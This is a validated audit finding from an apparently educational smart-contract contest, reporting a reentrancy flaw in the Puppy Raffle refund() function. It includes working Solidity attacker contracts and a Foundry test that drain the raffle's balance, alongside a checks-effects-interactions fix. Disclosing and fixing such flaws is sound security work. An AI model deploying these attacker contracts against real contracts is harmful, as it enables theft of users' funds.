Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() lets a malicious player drain the entire raffle balance

prasadreddy

Root + Impact

Description

  • `refund(uint256 playerIndex)` returns a player's `entranceFee` and is supposed to mark the slot as refunded so a ticket cannot be refunded twice.

  • It sends the ETH first and clears `players[playerIndex]` afterwards, so a contract player can re-enter `refund` from its `receive()` while its slot is still set. Each re-entry passes both checks and pays out another `entranceFee`, so one ticket drains the whole contract.

// Root cause in the codebase with @> marks to highlight the relevant section
​
```solidity
// src/PuppyRaffle.sol
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // @> external call BEFORE the state update
​
players[playerIndex] = address(0); // @> too late, the check above still passes on re-entry
emit RaffleRefunded(playerAddress);
}
```

Risk

Likelihood:

  • Any address can enter with a contract that has a `receive()` function and call `refund`. No privileges or special timing are needed.

  • `sendValue` forwards all remaining gas, so the loop runs until the balance is empty.

Impact:

  • Total loss of all ETH held by the raffle, including every honest player's entrance fee. The attacker pays one fee and takes the whole pool.

  • The prize and fees can no longer be paid out.

Proof of Concept

The attacker enters once, then calls `refund`. Its `receive()` re-enters `refund` until the raffle balance is zero.
​
```solidity
contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public entranceFee;
uint256 public attackerIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = _raffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
}
​
function testPoC_RefundReentrancy() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players); // 4 ETH in raffle
​
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee); // attacker has only 1 ETH
attacker.attack();
​
assertEq(address(puppyRaffle).balance, 0); // raffle drained
assertEq(address(attacker).balance, entranceFee * 5); // paid 1 ETH, took 5 ETH
}
```
​
Run: `forge test --mt testPoC_RefundReentrancy -vvv`

Recommended Mitigation

Follow checks-effects-interactions: clear the slot before sending ETH. A re-entrant call then hits `address(0)` and reverts.
​
```diff
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
```
​
Optionally add OpenZeppelin's `nonReentrant` modifier to `refund` as defense in depth.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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